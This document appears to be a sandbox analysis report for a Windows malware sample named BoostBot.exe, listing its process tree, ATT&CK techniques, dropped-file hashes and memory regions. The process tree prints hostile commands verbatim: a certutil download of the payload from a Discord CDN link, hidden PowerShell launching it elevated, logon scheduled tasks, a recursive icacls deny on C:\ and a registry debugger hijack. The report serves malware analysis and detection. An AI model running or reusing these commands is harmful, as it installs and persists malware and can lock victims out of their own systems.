C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c type tmp
3⤵
PID:4788

C:\Windows\system32\find.exe
find
3⤵
PID:3544

C:\Windows\system32\find.exe
find
3⤵
PID:2264

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c type tmp
3⤵
PID:3528

C:\Windows\system32\certutil.exe
certutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe
3⤵
PID:4508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1604

C:\Users\Admin\AppData\Local\Temp\BoostBot.exe
"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:2324

C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5012

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
6⤵
- Creates scheduled task(s)
PID:3096

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
6⤵
- Executes dropped EXE
PID:5008

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /delete /tn "$sxr-powershell" /f
6⤵
PID:3236

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:1840

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ksSpuRqAVYRn.bat" "
6⤵
PID:3808

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:4056

C:\Windows\SysWOW64\chcp.com
chcp 65001
7⤵
PID:1716

C:\Windows\SysWOW64\PING.EXE
ping -n 10 localhost
7⤵
- Runs ping.exe
PID:2040

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
6⤵
PID:4956

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77$sxr-powershell.exe" /tr "'C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe'" /sc onlogon /rl HIGHEST
6⤵
- Creates scheduled task(s)
PID:1504

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
5⤵
- Executes dropped EXE
PID:2244

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST
5⤵
- Creates scheduled task(s)
PID:3600

C:\Windows\system32\icacls.exe
icacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T
3⤵
- Modifies file permissions
PID:3664

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
3⤵
PID:3656

C:\Windows\system32\attrib.exe
attrib +h "C:\Users\Admin\AppData\Local\Temp\Fixer-obf (1).bat"
3⤵
- Views/modifies file attributes
PID:3980

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
2⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3580

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3760

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3912

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
PID:696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3244

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:5064

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1004

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4628

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4912

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1952

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2768

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3240

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:976

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 8c29ba0b1ea5f00a08eef5227ff772e8 cBtgpcY4hEqlj0f3kK09zw.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:2356

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
2⤵
PID:2184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4812

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:64

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4868

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4432

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
1⤵
PID:1136

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}
1⤵
PID:2884

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:2332

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BoostBot.exe

Filesize
409KB

MD5
404ab800bbe49c36bd64d0d73600b59a

SHA1
4c8dff2702fada108f7477ad357067310b584366

SHA256
5465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154

SHA512
d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmlr1gvh.puu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\ksSpuRqAVYRn.bat

Filesize
283B

MD5
0f3766ba648da74f5cdc9013218a7661

SHA1
d58581a95ff6b657201d6958b28b7cbbcfd4f9be

SHA256
d9b25238fdfdfd731bcc69318844e147b02d9c1e27caff03dc53eb162d9661b0

SHA512
f6597e10eeaea0b24c6e2a20f0f2c0a6d879da0ac694009b77d5d18d1c2a6e0b4500e1a3182b5e5182a7b24d83177520b0845b41fc47d07e018dd58a4f8ec19a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp

Filesize
14B

MD5
ce585c6ba32ac17652d2345118536f9c

SHA1
be0e41b3690c42e4c0cdb53d53fc544fb46b758d

SHA256
589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

SHA512
d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
39e7335d6b27147ba82cebb03f348f45

SHA1
d340283071e106cefd111b6c0058b7ea7f2ee38c

SHA256
88809d8a5e6ae13b10633539ec5eee82aaf0f5cdc2dfb06547413aec2c59ce4a

SHA512
f348639c7b203c96ca60328270d938c39f1a6c4246ee74610033cba8fb04979407df07f9067acdde897026bf1315093b1d8e08691ce64dc5c3ac586e1a2cc527

Download Submit
memory/332-115-0x00000226AD5A0000-0x00000226AD5CB000-memory.dmp

Filesize
172KB

Download
memory/332-121-0x00000226AD5A0000-0x00000226AD5CB000-memory.dmp

Filesize
172KB

Download
memory/332-122-0x00007FFAFC930000-0x00007FFAFC940000-memory.dmp

Filesize
64KB

Download
memory/516-126-0x000001CDB5D80000-0x000001CDB5DAB000-memory.dmp

Filesize
172KB

Download
memory/616-82-0x000001383C480000-0x000001383C4AB000-memory.dmp

Filesize
172KB

Download
memory/616-81-0x000001383C480000-0x000001383C4AB000-memory.dmp

Filesize
172KB

Download
memory/616-89-0x00007FFAFC930000-0x00007FFAFC940000-memory.dmp

Filesize
64KB

Download
memory/616-80-0x000001383C450000-0x000001383C475000-memory.dmp

Filesize
148KB

Download
memory/616-88-0x000001383C480000-0x000001383C4AB000-memory.dmp

Filesize
172KB

Download
memory/672-93-0x00000246BD170000-0x00000246BD19B000-memory.dmp

Filesize
172KB

Download
memory/672-100-0x00007FFAFC930000-0x00007FFAFC940000-memory.dmp

Filesize
64KB

Download
memory/672-99-0x00000246BD170000-0x00000246BD19B000-memory.dmp

Filesize
172KB

Download
memory/952-111-0x00007FFAFC930000-0x00007FFAFC940000-memory.dmp

Filesize
64KB

Download
memory/952-110-0x000001F20C4D0000-0x000001F20C4FB000-memory.dmp

Filesize
172KB

Download
memory/952-104-0x000001F20C4D0000-0x000001F20C4FB000-memory.dmp

Filesize
172KB

Download
memory/1604-16-0x000001D1EB220000-0x000001D1EB242000-memory.dmp

Filesize
136KB

Download
memory/2672-30-0x00000000061F0000-0x000000000622C000-memory.dmp

Filesize
240KB

Download
memory/2672-29-0x00000000053F0000-0x0000000005402000-memory.dmp

Filesize
72KB

Download
memory/2672-28-0x0000000004F30000-0x0000000004F96000-memory.dmp

Filesize
408KB

Download
memory/2672-27-0x0000000004E90000-0x0000000004F22000-memory.dmp

Filesize
584KB

Download
memory/2672-26-0x0000000005440000-0x00000000059E4000-memory.dmp

Filesize
5.6MB

Download
memory/2672-25-0x0000000000420000-0x000000000048C000-memory.dmp

Filesize
432KB

Download
memory/3780-77-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3780-75-0x00007FFB3C8B0000-0x00007FFB3CAA5000-memory.dmp

Filesize
2.0MB

Download
memory/3780-76-0x00007FFB3BAA0000-0x00007FFB3BB5E000-memory.dmp

Filesize
760KB

Download
memory/3780-72-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3780-67-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3780-68-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3780-69-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3780-70-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4028-65-0x00007FFB3C8B0000-0x00007FFB3CAA5000-memory.dmp

Filesize
2.0MB

Download
memory/4028-66-0x00007FFB3BAA0000-0x00007FFB3BB5E000-memory.dmp

Filesize
760KB

Download
memory/4028-64-0x0000011919A50000-0x0000011919A7A000-memory.dmp

Filesize
168KB

Download
memory/5012-54-0x0000000006EE0000-0x0000000006EEA000-memory.dmp

Filesize
40KB

Download